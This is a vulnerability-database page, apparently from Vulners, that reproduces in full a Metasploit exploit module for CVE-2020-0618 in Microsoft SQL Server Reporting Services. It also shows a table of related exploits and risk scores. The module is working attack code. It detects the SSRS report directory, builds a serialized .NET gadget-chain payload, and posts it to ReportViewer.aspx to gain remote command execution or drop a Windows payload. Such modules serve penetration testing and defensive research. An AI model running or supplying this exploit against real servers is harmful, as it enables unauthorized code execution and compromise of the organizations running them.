SQL Server Reporting Services (SSRS) ViewState Deserialization
🗓️ 11 Feb 2020 00:00:00Reported by Soroush Dalili, Spencer McIntyreType
metasploit🔗 www.rapid7.com👁 1180 Views
| Reporter | Title | Published | Views | Family All 50 |
|---|---|---|---|---|
| SQL Server Reporting Services (SSRS) ViewState Deserialization Exploit | 12 Mar 202000:00 | – | zdt | |
| Microsoft SQL Server Reporting Services 2016 - Remote Code Execution Exploit | 17 Sep 202000:00 | – | zdt | |
| Exploit for Deserialization of Untrusted Data in Redhat Jboss_Enterprise_Application_Platform | 8 Dec 202020:38 | – | gitee | |
| Exploit for Deserialization of Untrusted Data in Microsoft | 18 Feb 202016:17 | – | githubexploit | |
| Exploit for Expression Language Injection in Atlassian Confluence_Data_Center | 5 Dec 202510:43 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Microsoft | 15 Feb 202006:40 | – | githubexploit | |
| CVE-2020-0618 | 11 Feb 202000:00 | – | attackerkb | |
| Microsoft SQL Server Code Execution | 4 Mar 202000:00 | – | bdu_fstec | |
| CVE-2020-0618 | 19 Feb 202009:52 | – | circl | |
| Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability | 18 Sep 202400:00 | – | cisa_kev |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SQL Server Reporting Services (SSRS) ViewState Deserialization',
'Description' => %q{
A vulnerability exists within Microsoft's SQL Server Reporting Services
which can allow an attacker to craft an HTTP POST request with a
serialized object to achieve remote code execution. The vulnerability is
due to the fact that the serialized blob is not signed by the server.
},
'Author' => [
'Soroush Dalili', # discovery and original PoC
'Spencer McIntyre' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-0618'],
['URL', 'https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/'],
],
'Platform' => 'win',
'Targets' => [
[ 'Windows (x86)', { 'Arch' => ARCH_X86, 'Type' => :windows_dropper } ],
[ 'Windows (x64)', { 'Arch' => ARCH_X64, 'Type' => :windows_dropper } ],
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ]
],
'DefaultTarget' => 1,
'DisclosureDate' => '2020-02-11',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
},
'Privileged' => true
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/Reports' ]),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
])
end
def send_api_request(*parts)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'v1.0', *parts),
'headers' => {
'Accept' => 'application/json'
},
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
if res&.code == 200 && res.headers['Content-Type'].strip.start_with?('application/json;')
return res.get_json_document
end
end
def check
json_response = send_api_request('ReportServerInfo', 'Model.SiteName')
return CheckCode::Unknown('SQL Server Reporting Services not detected') unless json_response && json_response['value'] == 'SQL Server Reporting Services'
CheckCode::Detected('Target service detected')
end
def exploit
fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected
json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')
fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?
directory = json_response['value']
vprint_status("Detected the report server virtual directory as: #{directory}")
state = { vd: directory }
if target['Type'] == :windows_command
execute_command(payload.encoded, state: state)
else
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
execute_cmdstager({ linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state })
end
end
def execute_command(cmd, opts)
state = opts[:state]
viewstate = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :TextFormattingRunProperties,
formatter: :LosFormatter
))
res = send_request_cgi({
'uri' => normalize_uri(state[:vd], 'Pages', 'ReportViewer.aspx'),
'method' => 'POST',
'vars_post' => {
'NavigationCorrector$PageState' => 'NeedsCorrection',
'NavigationCorrector$ViewState' => viewstate,
'__VIEWSTATE' => ''
},
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
unless res&.code == 200
print_error('Non-200 HTTP response received while trying to execute the command')
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Feb 2020 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 26.5
CVSS 3.18.8 - 9.8
EPSS0.99046
SSVC